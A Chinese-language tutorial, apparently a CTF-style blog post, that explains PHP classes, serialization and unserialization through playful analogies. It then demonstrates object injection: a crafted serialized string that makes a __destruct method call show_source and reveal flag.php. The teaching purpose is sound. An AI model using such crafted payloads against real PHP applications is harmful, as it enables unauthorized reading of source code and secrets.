PHP反序列化漏洞
0x00 何为类和对象
说到序列化和反序列化就不得不提到两个词:类
和对象
那么什么是类
,什么是对象
教科书式的答案是类
是对象
的抽象,对象
是类
的实例
那啥叫个抽象,啥叫个实例呢
简单的说,类
就是对象
的一个标准模板,而对象
就是按照模板做出来的实物
举个栗子
人
,是一个类
所有的人
都有一个脑袋两个胳膊两个腿
这个就是关于所有人
的一个标准模板
而对象
呢
假设一个真实存在的对象
小芳,村里有个姑娘叫小芳,她的脑袋倍儿锃亮
这个就是一个具体的人
了,小芳就是按照人
的模板实际出来的一个实物
代码里具体是这样实现的
<?php
class BeautifulGirls{
// 定义biu biu biu 忒否 girls的模板
public $name;
public function fail_in_love(){
echo "My name is ".$this->name;
}
}
$MissFang = new BeautifulGirls(); //实例化了一个biu 忒否 girl叫小芳
?>
0x01 何为序列化和反序列化
了解类和对象了后,来看看什么是序列化和反序列化(以下情景过于虚拟,推荐看官看看大刘的三体)
三体中有这么一个情景,三体这个星球有三颗太阳,而且很不稳定,有时候离得近有时候离得远,有时候是一个,多的时候蹦出来仨斗地主,导致三体人长期生活在一个天气很不稳定的环境下,从而衍生出来了一种脱水的本领,仨太阳出来斗地主的时候,三体人就都脱水成为一张纸,以便保存,气候适宜的时候再由值班的人员将大家浸泡在水里,恢复形体...
对三体人来说
脱水,就是序列化的过程
浸泡,就是反序列化
而代码在运行的时候,有的时候需要将实例对象存储起来,这个时候就需要像三体人一样脱水,不过对象脱水只能变成一个字符串
<?php
class ThreeBody{
// 定义类
public $name='test';
public function fail_in_love(){
echo "My name is ".$this->name;
}
}
$reallyTreeBody = new ThreeBody(); //实例化了一个对象
echo serialize($reallyTreeBody); //将对象序列化后输出
?>
运行后就会输出一个字符串,这个就是对象
脱水(序列化
)后的产物
而这个字符串浸泡的时候,一定得有个模板作为标准才能恢复
<?php
class ThreeBody{
// 定义类
public $name='test';
public function fail_in_love(){
echo "My name is ".$this->name;
}
}
$zhi = 'O:9:"ThreeBody":1:{s:4:"name";s:4:"test";}'; // 序列化后的字符串
$reallyTreeBody = unserialize($zhi); // 把字符串浸泡恢复一下
echo $reallyTreeBody->name; // 成为对象了,把对象的name属性输出一下
?>
运行后,就会输出对象的name
0x02 具体漏洞演示
如上图,这个页面会将参数f进行反序列,然后在析构函数里面会把对象的test参数源码输出出来
插一句析构函数(__destruct),这个函数是在对象被销毁的时候调用的函数,当页面运行完时,会回收内存,将对象消毁,所以页面结束时就能触发
同时还有其他的一些函数自己去搜一搜
当我们想要它显示指定的源码时,就需要构造一个对象,test
属性内容就是文件名
那我们就可以在本地先写一个指定test
属性内容的对象,然后去序列化一下,再将字符串反序列化就能得到我们指定的一个对象(其实就是脱裤子放屁,脱水一下再去浸泡一下)
<?php
class example{
public $test='flag.php';
function __destruct(){
echo show_source($this->test);
}
}
$a = new example;
echo serialize($a);
?>
运行后就能得到我们想要的对象的序列化结果
O:7:"example":1:{s:4:"test";s:8:"flag.php";}
再将这个字符串传给f
参数,就可以显示flag.php
的内容